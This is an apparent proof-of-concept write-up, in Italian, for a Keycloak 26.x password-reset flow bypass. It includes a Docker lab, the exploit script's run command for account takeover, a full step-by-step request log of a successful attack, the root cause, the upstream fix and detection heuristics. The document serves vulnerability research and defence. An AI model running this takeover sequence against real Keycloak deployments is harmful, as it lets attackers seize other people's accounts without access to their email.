
PoC, playground Dockerfile e root cause dall'analisi del diff della patch.
Setup Docker per testare le versioni Keycloak 26.x affette dal bypass del flusso reset-credentials. Il lab incluso fissa Keycloak 26.6.2, che rientra nell'intervallo affetto (>26.0 e <26.7.2).
Requisiti: Docker, Docker Compose, Python 3. Testato con l'immagine Docker quay.io/keycloak/keycloak:26.6.2.
docker compose up -d
curl http://127.0.0.1:8080
Il file compose avvia Keycloak 26.6.2 con un amministratore temporaneo admin/admin-password-for-lab. Crea un realm e un utente di test tramite la Admin Console o l'Admin REST API. Il flusso di reset deve essere abilitato e l'esecuzione integrata reset-credential-email deve essere raggiungibile.
Esempio ATO:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <realm noto> --username <vittima nota> \
--new-password '<pw>' \
--allow-loopback-http-cookie --change-password
L'opzione loopback-cookie esiste solo per questo lab HTTP Docker. Validazione / sfruttamento riusciti
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerabile: modulo di aggiornamento password raggiunto senza token dell'azione email
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
Account takeover non autenticato quando Forgot Password utilizza il flusso reset-credentials integrato vulnerabile. Il passaggio di possesso email viene marcato come riuscito senza consumare il relativo token di azione, portando l'attaccante a UPDATE_PASSWORD.
Due difetti della macchina a stati si combinano:
tryAnotherWay memorizzava AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true come booleano globale nella sessione di autenticazione. Non era legato all'esecuzione che visualizzava il selettore, consentendo a uno stato del selettore obsoleto di influenzare un'altra esecuzione del flusso di reset.ResetCredentialEmail.action() accettava qualsiasi invocazione:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
Una sequenza di flusso reset-credentials appositamente costruita può quindi manipolare lo stato del selettore/esecuzione corrente e invocare l'azione dell'authenticator email senza cliccare il link inviato via email. Keycloak considera il passaggio email come completato ed espone l'esecuzione di aggiornamento password per la vittima selezionata.
L'email di reset può comunque essere generata e SEND_RESET_PASSWORD registrato. Non è richiesto il possesso della casella di posta o del token.
Lo stato del selettore è ora legato al modello di esecuzione esatto:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
La nota viene rimossa se non corrisponde a CURRENT_AUTHENTICATION_EXECUTION. Ancora più importante, l'azione email ora richiede un'identità del token di azione corrispondente all'utente del flusso:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services vulnerabile; la modifica sfruttabile dello stato del selettore è stata introdotta in 26.0.0.reset-credential-email deve essere raggiungibile e vincolato. Disabilitare Forgot Password previene questo percorso.Keycloak non dispone di un evento definitivo "token email saltato". Correla i tempi del flusso e i log del reverse-proxy:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD entro seconditryAnotherWay, immediatamente prima dell'aggiornamento passwordGET /login-actions/action-token intermedio, che un clic legittimo sull'email genererebbeQuesto è euristico: un utente con l'email già aperta può resettare rapidamente, e l'assenza di eventi non prova nulla dove la registrazione/conservazione è stata disabilitata.
La confusione dello stato del flusso di autenticazione + il successo incondizionato dell'authenticator bypassano un controllo di possesso. Caso di test generale: ogni volta che un'esecuzione di autenticazione può essere rivisitata, cambiata con "try another way", o ripresa da un vecchio URL, verifica che ogni authenticator rivalidi la propria prova invece di fidarsi dello stato del flusso condiviso.
Riferimento patch a monte: https://github.com/keycloak/keycloak/pull/51844